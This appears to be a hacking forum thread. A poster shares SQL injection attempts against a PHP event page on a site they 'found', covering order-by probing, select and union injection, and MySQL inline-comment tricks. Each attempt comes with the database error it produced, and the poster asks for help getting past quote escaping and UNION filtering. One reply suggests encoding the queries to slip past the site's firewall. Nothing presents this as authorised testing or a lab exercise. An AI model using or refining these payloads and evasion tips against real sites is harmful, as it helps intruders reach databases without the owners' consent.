Hi. I am stuck here..
I found a website with string based injection.
But whenever I add ' it gets replaced with \'
Code: | http://www.site.com/event.php?id=-8'+order+by+10-- - |
I get following error
Code: | Erro MySQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 10-- -' at line 1 |
I found two sites, they are on same server, 2nd one isn't string based. Below it is..
It's adding single quote ' in front of Select statement
Code: | http://www.site.com/event.php?id=8+sEleCT+1,2,3-- |
result is
Code: | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sEleCT 1,2,3--' at line 1SELECT * FROM ibex_events WHERE id=4 sEleCT 1,2,3-- |
I tried comment execution, but still it's filtering /*! part and adding '.
Code: | http://www.site.com/event.php?id=8+/*!sEleCT*/+1,2,3-- |
result is
Code: | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sEleCT*/ 1,2,3--' at line 1SELECT * FROM ibex_events WHERE id=4 /*!sEleCT*/ 1,2,3-- |
Also it's effectively filtering Union and throwing Internal Server Error page.
Can anyone help me with this? At least some hints..
Thanks in advance. |

if you want to avoid a firewall, I recommend you use a encoded string for you query's, is only one idea |
